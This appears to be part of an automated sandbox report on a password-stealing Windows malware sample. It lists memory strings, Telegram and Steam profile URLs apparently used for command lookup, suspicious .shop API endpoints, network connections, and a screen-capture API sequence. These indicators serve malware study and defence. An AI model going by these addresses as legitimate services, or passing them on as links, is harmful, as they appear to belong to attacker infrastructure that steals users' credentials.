Source: RegAsm.exe, 00000014.00000002.2911320361.0000000001136000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://help.steampowered.com/
Source: DHIEHIIEHIEHJKEBKEHJ.11.dr	String found in binary or memory: https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4pLk4pqk4pbW1pbWfpbW7ReNxR3UIG8zInwYIFIVs9eYi
Source: RegAsm.exe, 00000014.00000002.2911320361.0000000001136000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.steampowered.com/
Source: RegAsm.exe, 00000014.00000002.2911320361.0000000001136000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://lv.queniujq.cn
Source: RegAsm.exe, 00000014.00000002.2911320361.0000000001136000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://medal.tv
Source: RegAsm.exe, 00000004.00000002.4605842828.000000002062D000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000004.00000002.4621228155.000000003E355000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000004.00000002.4609577368.0000000026594000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000004.00000002.4615748251.0000000032472000.00000004.00000020.00020000.00000000.sdmp, freebl3.dll.4.dr, mozglue.dll.4.dr, softokn3.dll.4.dr	String found in binary or memory: https://mozilla.org0/
Source: RegAsm.exe, 00000014.00000002.2911320361.0000000001136000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://player.vimeo.com
Source: RegAsm.exe, 00000014.00000002.2911320361.0000000001136000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://recaptcha.net
Source: RegAsm.exe, 00000014.00000002.2911320361.0000000001136000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://recaptcha.net/recaptcha/;
Source: RegAsm.exe, 00000014.00000002.2911320361.0000000001136000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://s.ytimg.com;
Source: RegAsm.exe, 00000014.00000002.2911320361.0000000001136000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://sketchfab.com
Source: RegAsm.exe, 00000014.00000002.2911320361.0000000001136000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steambroadcast-test.akamaized.net
Source: RegAsm.exe, 00000014.00000002.2911320361.0000000001136000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steambroadcast.akamaized.net
Source: RegAsm.exe, 00000014.00000002.2911320361.0000000001136000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steambroadcastchat.akamaized.net
Source: RegAsm.exe, 00000014.00000002.2911694164.000000000116C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/profiles/76561199724331900
Source: SecuriteInfo.com.Win32.PWSX-gen.1070.11757.exe, 00000000.00000002.2131229108.0000000003C75000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, RegAsm.exe, 00000004.00000002.4586316934.000000000042E000.00000040.00000400.00020000.00000000.sdmp, userAAAAKJKJEB.exe, 00000017.00000002.2856072022.000000000401B000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 0000001A.00000002.4586314572.0000000000436000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/profiles/76561199768374681
Source: SecuriteInfo.com.Win32.PWSX-gen.1070.11757.exe, 00000000.00000002.2131229108.0000000003C75000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 00000004.00000002.4586316934.000000000042E000.00000040.00000400.00020000.00000000.sdmp, userAAAAKJKJEB.exe, 00000017.00000002.2856072022.000000000401B000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 0000001A.00000002.4586314572.0000000000436000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/profiles/76561199768374681i11ihellosqlp.dllMozilla/5.0
Source: RegAsm.exe, 00000014.00000002.2911694164.000000000116C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://stitchmiscpaew.shop/
Source: RegAsm.exe, 00000014.00000002.2911694164.000000000116C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://stitchmiscpaew.shop/2
Source: RegAsm.exe, 00000014.00000002.2911694164.000000000116C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://stitchmiscpaew.shop/D
Source: RegAsm.exe, 00000014.00000002.2911694164.000000000116C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://stitchmiscpaew.shop/api
Source: RegAsm.exe, 00000014.00000002.2911320361.0000000001136000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.X
Source: RegAsm.exe, 00000014.00000002.2911320361.0000000001136000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/
Source: RegAsm.exe, 00000014.00000002.2911320361.0000000001136000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/;
Source: RegAsm.exe, 00000014.00000002.2911320361.0000000001136000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/;Persistent-AuthWWW-AuthenticateVarysteamCountry=US%7Cd7fb65801182a5f
Source: BFCFBF.4.dr	String found in binary or memory: https://support.mozilla.org
Source: BFCFBF.4.dr	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: BFCFBF.4.dr	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.allizom.troppus.ZAnPVwXvBbYt
Source: RegAsm.exe, 00000004.00000002.4589765887.0000000001002000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://t.me/
Source: RegAsm.exe, 00000004.00000002.4589765887.0000000001002000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000004.00000002.4586316934.000000000042E000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 00000004.00000002.4586316934.0000000000463000.00000040.00000400.00020000.00000000.sdmp, userAAAAKJKJEB.exe, 00000017.00000002.2856072022.000000000401B000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 0000001A.00000002.4586314572.0000000000436000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://t.me/edm0d
Source: RegAsm.exe, 00000004.00000002.4589765887.0000000001002000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://t.me/edm0d&
Source: SecuriteInfo.com.Win32.PWSX-gen.1070.11757.exe, 00000000.00000002.2131229108.0000000003C75000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 00000004.00000002.4586316934.000000000042E000.00000040.00000400.00020000.00000000.sdmp, userAAAAKJKJEB.exe, 00000017.00000002.2856072022.000000000401B000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 0000001A.00000002.4586314572.0000000000436000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://t.me/edm0di11iMozilla/5.0
Source: RegAsm.exe, 00000014.00000002.2911694164.000000000116C000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000014.00000002.2911320361.0000000001131000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000014.00000002.2911320361.000000000114E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://tenntysjuxmz.shop/
Source: RegAsm.exe, 00000014.00000002.2911694164.000000000116C000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000014.00000002.2911320361.0000000001159000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://tenntysjuxmz.shop/api
Source: RegAsm.exe, 00000014.00000002.2911694164.000000000116C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://tenntysjuxmz.shop/apiI
Source: RegAsm.exe, 00000014.00000002.2911694164.000000000116C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://tenntysjuxmz.shop/apiz
Source: RegAsm.exe, 00000004.00000002.4589765887.0000000001002000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000004.00000002.4586316934.0000000000463000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://web.telegram.org
Source: RegAsm.exe, 00000004.00000002.4589765887.0000000001105000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000004.00000002.4589765887.000000000109A000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000000B.00000002.2871528825.00000000273D2000.00000004.00000020.00020000.00000000.sdmp, KKKJEH.4.dr, DHIEHIIEHIEHJKEBKEHJ.11.dr	String found in binary or memory: https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_86277c656a4bd7d619968160e91c45fd066919bb3bd119b3
Source: RegAsm.exe, 00000004.00000002.4605842828.000000002062D000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000004.00000002.4621228155.000000003E355000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000004.00000002.4609577368.0000000026594000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000004.00000002.4615748251.0000000032472000.00000004.00000020.00020000.00000000.sdmp, freebl3.dll.4.dr, mozglue.dll.4.dr, softokn3.dll.4.dr	String found in binary or memory: https://www.digicert.com/CPS0
Source: RegAsm.exe, 0000000B.00000002.2850533577.0000000000F86000.00000004.00000020.00020000.00000000.sdmp, BKECFI.4.dr	String found in binary or memory: https://www.ecosia.org/newtab/
Source: SecuriteInfo.com.Win32.PWSX-gen.1070.11757.exe, shbwdh[1].exe.4.dr, 66e40b2e8a52e_lfsdj[1].exe.11.dr	String found in binary or memory: https://www.entrust.net/rpa0
Source: RegAsm.exe, 00000014.00000002.2911320361.0000000001136000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com
Source: BKECFI.4.dr	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: RegAsm.exe, 00000014.00000002.2911320361.0000000001136000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/recaptcha/
Source: RegAsm.exe, 00000014.00000002.2911320361.0000000001136000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.gstatic.cn/recaptcha/
Source: RegAsm.exe, 00000014.00000002.2911320361.0000000001136000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.gstatic.com/recaptcha/
Source: BFCFBF.4.dr	String found in binary or memory: https://www.mozilla.org
Source: BFCFBF.4.dr	String found in binary or memory: https://www.mozilla.org#
Source: RegAsm.exe, 00000004.00000002.4597555411.0000000019AFC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/about/
Source: BFCFBF.4.dr	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.bwSC1pmG_zle
Source: RegAsm.exe, 00000004.00000002.4597555411.0000000019AFC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/
Source: BFCFBF.4.dr	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.hjKdHaZH-dbQ
Source: BFCFBF.4.dr	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: RegAsm.exe, 00000004.00000002.4589765887.0000000001105000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000004.00000002.4589765887.000000000109A000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000000B.00000002.2871528825.00000000273D2000.00000004.00000020.00020000.00000000.sdmp, KKKJEH.4.dr, DHIEHIIEHIEHJKEBKEHJ.11.dr	String found in binary or memory: https://www.t-mobile.com/cell-phones/brand/apple?cmpid=MGPO_PAM_P_EVGRNIPHN_
Source: RegAsm.exe, 00000014.00000002.2911320361.0000000001136000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com
Source: RegAsm.exe, 00000014.00000002.2911320361.0000000001136000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/

Source: unknown	Network traffic detected: HTTP traffic on port 49733 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49743
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49742
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49741
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49740
Source: unknown	Network traffic detected: HTTP traffic on port 49727 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49766 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49743 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49762 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49746 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49720 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49739
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49738
Source: unknown	Network traffic detected: HTTP traffic on port 49736 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49737
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49736
Source: unknown	Network traffic detected: HTTP traffic on port 49759 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49734
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49733
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49732
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49731
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49730
Source: unknown	Network traffic detected: HTTP traffic on port 49732 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49724 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49742 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49728 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49749 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49763 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49729
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49728
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49727
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49726
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49724
Source: unknown	Network traffic detected: HTTP traffic on port 49739 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49723
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49766
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49721
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49765
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49720
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49764
Source: unknown	Network traffic detected: HTTP traffic on port 49731 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49763
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49762
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49761
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49760
Source: unknown	Network traffic detected: HTTP traffic on port 49725 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49741 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49729 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49760 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49764 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49745 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49759
Source: unknown	Network traffic detected: HTTP traffic on port 49738 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49734 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49730 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49726 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49740 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49761 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49765 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49747 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49723 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49749
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49747
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49746
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49745

Source: unknown	HTTPS traffic detected: 149.154.167.99:443 -> 192.168.2.6:49720 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 159.69.100.83:443 -> 192.168.2.6:49721 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 192.185.139.21:443 -> 192.168.2.6:49746 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 192.185.139.21:443 -> 192.168.2.6:49759 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.6:49760 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.221.198:443 -> 192.168.2.6:49761 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.6:49762 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.6:49763 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.26.150:443 -> 192.168.2.6:49764 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.6:49765 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.50.98.133:443 -> 192.168.2.6:49766 version: TLS 1.2

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 4_2_00411E0D CreateStreamOnHGlobal,GetDesktopWindow,GetWindowRect,GetDC,CreateCompatibleDC,CreateCompatibleBitmap,SelectObject,BitBlt,GetHGlobalFromStream,GlobalLock,GlobalSize,SelectObject,DeleteObject,DeleteObject,ReleaseDC,CloseWindow,

4_2_00411E0D

System Summary

.NET source code contains very large array initializations

Source: SecuriteInfo.com.Win32.PWSX-gen.1070.11757.exe, MoveAngles.cs	Large array initialization: MoveAngles: array initializer size 270336
Source: DGHIDAFCGI.exe.4.dr, MoveAngles.cs	Large array initialization: MoveAngles: array initializer size 192000
Source: shbwdh[1].exe.4.dr, MoveAngles.cs	Large array initialization: MoveAngles: array initializer size 192000
Source: KECGHIJDGC.exe.4.dr, MoveAngles.cs	Large array initialization: MoveAngles: array initializer size 270336
Source: vnfdamfs[1].exe.4.dr, MoveAngles.cs	Large array initialization: MoveAngles: array initializer size 270336
Source: userCGCFCBAKKF.exe.11.dr, MoveAngles.cs	Large array initialization: MoveAngles: array initializer size 310272

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Process Stats: CPU usage > 49%

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4_2_0040144B GetCurrentProcess,NtQueryInformationProcess,	4_2_0040144B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 11_2_6C59B700 NtQueryVirtualMemory,RtlNtStatusToDosError,RtlSetLastWin32Error,	11_2_6C59B700
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 11_2_6C59B8C0 rand_s,NtQueryVirtualMemory,	11_2_6C59B8C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 11_2_6C59B910 rand_s,NtQueryVirtualMemory,NtQueryVirtualMemory,RtlNtStatusToDosError,RtlSetLastWin32Error,GetLastError,	11_2_6C59B910
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 11_2_6C53F280 NtQueryVirtualMemory,GetProcAddress,NtQueryVirtualMemory,RtlNtStatusToDosError,RtlSetLastWin32Error,	11_2_6C53F280

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.1070.11757.exe	Code function: 0_2_02AE0CA1	0_2_02AE0CA1
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4_2_0041B248	4_2_0041B248
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4_2_1FEC4CF0	4_2_1FEC4CF0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4_2_1FEB209F	4_2_1FEB209F
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4_2_1FEE1C50	4_2_1FEE1C50
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4_2_1FEB47AF	4_2_1FEB47AF
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4_2_1FFD9A20	4_2_1FFD9A20
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4_2_1FF65940	4_2_1FF65940
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4_2_1FEB3E3B	4_2_1FEB3E3B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4_2_1FEB481D	4_2_1FEB481D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4_2_1FF6D6D0	4_2_1FF6D6D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4_2_1FF59690	4_2_1FF59690
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4_2_1FEBD4C0	4_2_1FEBD4C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4_2_1FF453B0	4_2_1FF453B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4_2_1FEB19DD	4_2_1FEB19DD
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4_2_2008AEBE	4_2_2008AEBE
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4_2_1FFD5040	4_2_1FFD5040
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4_2_1FEC9000	4_2_1FEC9000
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4_2_1FEB174E	4_2_1FEB174E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4_2_1FEECE10	4_2_1FEECE10
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4_2_1FED8D2A	4_2_1FED8D2A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4_2_1FFB4A60	4_2_1FFB4A60
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4_2_1FEBC800	4_2_1FEBC800
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4_2_1FED8763	4_2_1FED8763
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4_2_1FF14760	4_2_1FF14760
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4_2_1FF48760	4_2_1FF48760
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4_2_1FED8680	4_2_1FED8680
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4_2_1FEB251D	4_2_1FEB251D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4_2_1FFF0480	4_2_1FFF0480
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4_2_1FEB290A	4_2_1FEB290A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4_2_1FF38120	4_2_1FF38120
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4_2_1FF30090	4_2_1FF30090
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4_2_1FFD8030	4_2_1FFD8030
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4_2_1FEB3AB2	4_2_1FEB3AB2
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4_2_1FEDBAB0	4_2_1FEDBAB0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4_2_1FEE7810	4_2_1FEE7810
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4_2_1FEB1EF1	4_2_1FEB1EF1
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4_2_1FEE3370	4_2_1FEE3370
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4_2_1FEBF160	4_2_1FEBF160
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4_2_1FF12EE0	4_2_1FF12EE0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4_2_1FEF6E80	4_2_1FEF6E80
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4_2_2008D209	4_2_2008D209
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4_2_1FEB3580	4_2_1FEB3580
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4_2_20019430	4_2_20019430
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4_2_1FEBEA80	4_2_1FEBEA80
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4_2_1FEBAA40	4_2_1FEBAA40
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4_2_1FF969C0	4_2_1FF969C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4_2_1FFAA940	4_2_1FFAA940
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4_2_1FFCA900	4_2_1FFCA900
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4_2_1FFEE800	4_2_1FFEE800
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4_2_1FEB1C9E	4_2_1FEB1C9E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4_2_1FEC66C0	4_2_1FEC66C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4_2_1FEB2018	4_2_1FEB2018
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4_2_1FFAA590	4_2_1FFAA590
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4_2_1FEDA560	4_2_1FEDA560
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4_2_1FEB292D	4_2_1FEB292D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4_2_20019CC0	4_2_20019CC0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4_2_1FF3A0B0	4_2_1FF3A0B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4_2_1FEB2AA9	4_2_1FEB2AA9
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4_2_1FEB12A8	4_2_1FEB12A8
Source: C:\ProgramData\DGHIDAFCGI.exe	Code function: 9_2_015C0CA1	9_2_015C0CA1
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 11_2_6C5335A0	11_2_6C5335A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 11_2_6C5A545C	11_2_6C5A545C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 11_2_6C545440	11_2_6C545440
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 11_2_6C575C10	11_2_6C575C10
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 11_2_6C582C10	11_2_6C582C10
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 11_2_6C5AAC00	11_2_6C5AAC00
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 11_2_6C5A542B	11_2_6C5A542B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 11_2_6C55D4D0	11_2_6C55D4D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 11_2_6C5464C0	11_2_6C5464C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 11_2_6C576CF0	11_2_6C576CF0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 11_2_6C53D4E0	11_2_6C53D4E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 11_2_6C546C80	11_2_6C546C80
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 11_2_6C5934A0	11_2_6C5934A0
